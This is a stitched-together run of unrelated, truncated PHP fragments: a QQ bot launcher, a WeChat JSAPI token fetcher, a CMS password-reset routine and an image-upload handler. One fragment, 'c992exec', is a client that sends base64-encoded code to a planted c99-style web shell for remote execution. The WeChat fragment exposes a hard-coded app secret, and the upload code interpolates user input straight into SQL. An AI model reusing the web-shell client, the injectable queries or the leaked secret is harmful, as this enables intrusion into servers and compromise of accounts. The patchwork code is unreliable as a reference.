$link->rollBack(); deldir('qqbot/' . $newid); die('{"retcode":996,"msg":"UNABLE TO CREATE GROUPFOLLOW.TXT!"}'); } fwrite($myfile, $_POST['email'] . "\n"); fwrite($myfile, $_POST['welcome'] . "\n"); fclose($myfile); break; default: $link->rollBack(); die('{"retcode":996,"msg":"UNKNOWN TYPE SUBMITTED!"}'); break; } shell_exec('chmod -R +x qqbot/' . $newid); shell_exec('chmod -R +w qqbot/' . $newid); $command = 'cd qqbot/' . $newid . '; nohup python2 qqbot.py > /dev/null 2>&1 & echo $!'; exec($command, $op); $pid = (int) $op[0]; while (true) { $sid = randomstr(); $sql = "SELECT COUNT(*) FROM `process` WHERE `sid`=?"; $res = sqlexec($sql, array($sid), $link); $num = $res->fetch(PDO::FETCH_NUM); $num = $num[0]; if ($num == 0) { break; } } sqlexec('INSERT INTO `process` VALUES (?,?,?)', array($newid, $pid, $sid), $link); $link->commit(); die('{"retcode":0,"reason":"SUCCESS","id":"' . $sid . '"}');
$pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; } return $pageURL; } include dirname(__FILE__) . '/CacheMemcache.class.php'; $key = "MLSD_CESHITI_WEIXIN_JSAPI_TICKET"; $appid = 'wx7c61757b852870a7'; $secret = '8461a5ea26663c1312e9c953a5b9ffbe'; $timestamp = time(); $nonceStr = randomstr(16); $result = $memcache->get($key); if (empty($result)) { $getTokenApi = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={$appid}&secret={$secret}"; $data = http_get($getTokenApi); $data = json_decode(trim($data), TRUE); $accessToken = $data['access_token']; if ($accessToken) { $getJsapiTicketApi = "https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token={$accessToken}&type=jsapi"; $data = http_get($getJsapiTicketApi); $data = json_decode(trim($data), TRUE); if ($data['ticket']) { $memcache->set($key, $data['ticket'], 5400); // 有效时间1.5小时 } else { exit('request jsapi_ticket failed !');
function c992exec($url, $login, $pass, $code, $timeout = 10) { $str_start = randomstr(); $str_end = randomstr(); $eval_sub = 'eval(base64_decode($_POST["debug_value_fgtr"]));'; $eval_sub = "echo('" . substr($str_start, 0, 4) . "'.'" . substr($str_start, 4, 4) . "');" . $eval_sub . "die('" . substr($str_end, 0, 4) . "'.'" . substr($str_end, 4, 4) . "');"; $post = 'act=eval&eval=' . urlencode($eval_sub) . '&d=.%2F&eval_txt=1&debug_value_fgtr=' . urlencode(base64_encode($code)); if (!empty($pass) && !empty($login)) { $headers = array('Authorization: Basic ' . base64_encode($login . ':' . $pass)); } else { $headers = array(); } $headers[] = 'Content-type: application/x-www-form-urlencoded'; $opts = array('http' => array('method' => 'POST', 'proxy' => defined('PROXY') ? 'tcp://' . PROXY : null, 'header' => implode(PHP_EOL, $headers), 'timeout' => $timeout, 'content' => $post)); //print_r($opts); $context = stream_context_create($opts); $response = @file_get_contents($url, false, $context); $response = strstr($response, $str_start); $response = str_replace(array($str_end, $str_start), "", $response); return $response; }
function getpass_action() { if(front::post('step') == '') { echo template('user/getpass.html'); }else if(front::post('step') == '1') { if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')); return; } if(strlen(front::post('username'))<4) { front::flash(lang('用户名太短!')); return; } $user=new user(); $user=$user->getrow(array('username'=>front::post('username'))); $this->view->user = $user; session::set('answer',$user['answer']); session::set('username',$user['username']); session::set('e_mail',$user['e_mail']); if(!empty($user['answer'])) { echo template('user/getpass_1.html'); }else { session::set('ischk','true'); echo template('user/getpass_2.html'); } }else if (front::post('step') == '2') { if(strlen(front::post('answer'))<1) { echo '<script>alert("'.lang('请输入答案!').'");</script>'; return; } if(front::post('answer') != session::get('answer')) { echo '<script>alert("'.lang('您的答案错误!').'");</script>'; return; } session::set('ischk','true'); echo template('user/getpass_2.html'); }else if (front::post('step') == '3') { if(strlen(front::post('e_mail'))<1) { echo '<script>alert("'.lang('请输入注册填写的邮箱!').'");</script>'; return; } if(front::post('e_mail') != session::get('e_mail')) { echo '<script>alert("'.lang('邮箱和用户不匹配!').'");</script>'; return; } if(session::get('ischk') == 'true') { function randomstr($length) { $str = '1234567890abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLOMNOPQRSTUVWXYZ'; for($i=0;$i<$length;$i++) { $str1 .= $str{mt_rand(0,35)}; } return $str1; } $password1 = randomstr(6); $password = md5($password1); $user=new user(); $user->rec_update(array('password'=>$password),'username="******"'); config::setPath(ROOT.'/config/config.php'); function sendmail($email_to,$email_subject,$email_message,$email_from = '') { extract($GLOBALS,EXTR_SKIP); require ROOT.'/lib/tool/sendmail_inc.php'; } $mail[email]=config::get('email'); sendmail(session::get('username').' <'.session::get('e_mail').'>',lang('会员找回密码'),' '.lang('尊敬的').session::get('username').', '.lang('您好! 您的新密码是').':'.$password1.' '.lang(您可以登录后到会员中心进行修改).'!',$mail[email]); echo '<script>alert("系统重新生成的密码已经发送到你的邮箱,跳转到登录页!!"); window.location="index.php?case=user&act=login"</script>'; }else { echo '<script>alert("'.lang('参数错误!').'");</script>'; return; } } exit; }
$con1 = "\$('#rezone').before('{$img}');"; $con2 = '[url=' . getlink('show', array($image['id'], '&')) . '][img]' . $base['config']['url'] . '/i/' . $image['filename'] . $image['extension'] . '[/img][/url]\\r\\n'; $con2 = "bbfull+='{$con2}';"; $con3 = '<a href="' . getlink('show', array($image['id'], '&')) . '"><img src="' . $base['config']['url'] . '/i/' . $image['filename'] . $extension . '" alt="Host by ' . $sitename . '" /></a><br />\\r\\n'; $con3 = "htmlfull+='{$con3}';"; $con4 = '[url=' . getlink('show', array($image['id'], '&')) . '][img]' . $base['config']['url'] . '/i/' . $image['filename'] . ($image['isthumb'] ? '.th' : '') . $extension . '[/img][/url]\\r\\n'; $con4 = "bbthumb+='{$con4}';"; $con5 = '<a href="' . getlink('show', array($image['id'], '&')) . '"><img src="' . $base['config']['url'] . '/i/' . $image['filename'] . ($image['isthumb'] ? '.th' : '') . $extension . '" alt="Host by ' . $sitename . '" /></a><br />\\r\\n'; $con5 = "htmlthumb+='{$con5}';"; echo $con1 . $con2 . $con3 . $con4 . $con5; exit; } $name = randomstr(1); $targetfile = $targetpath . $name . $extension; while (file_exists($targetfile)) { $name .= randomstr(1); $targetfile = $targetpath . $name . $extension; } move_uploaded_file($tempfile, $targetfile); $thumb = 0; if ($sizew > 180 || $sizeh > 180) { thumbnails($targetfile, $sizew, $sizeh, $targetpath . $name . '.th' . $extension, $filesize, $extension); $thumb = 1; } $now = time(); $db->query("INSERT INTO {$base['config']['db']['pre']}images (ip,time,md5,size,filename,originalname,extension,isthumb) VALUES ('{$_SERVER[REMOTE_ADDR]}','{$now}','{$md5}','{$filesize}','{$name}','{$fullname}','{$extension}','{$thumb}')"); $lastid = $db->last_id(); $img = img($lastid, $base['config']['url'] . '/i/' . $name, $extension, $thumb); $sitename = $_SERVER['HTTP_HOST']; $con1 = "\$('#rezone').before('{$img}');"; $con2 = '[url=' . getlink('show', array($lastid, '&')) . '][img]' . $base['config']['url'] . '/i/' . $name . $extension . '[/img][/url]\\r\\n';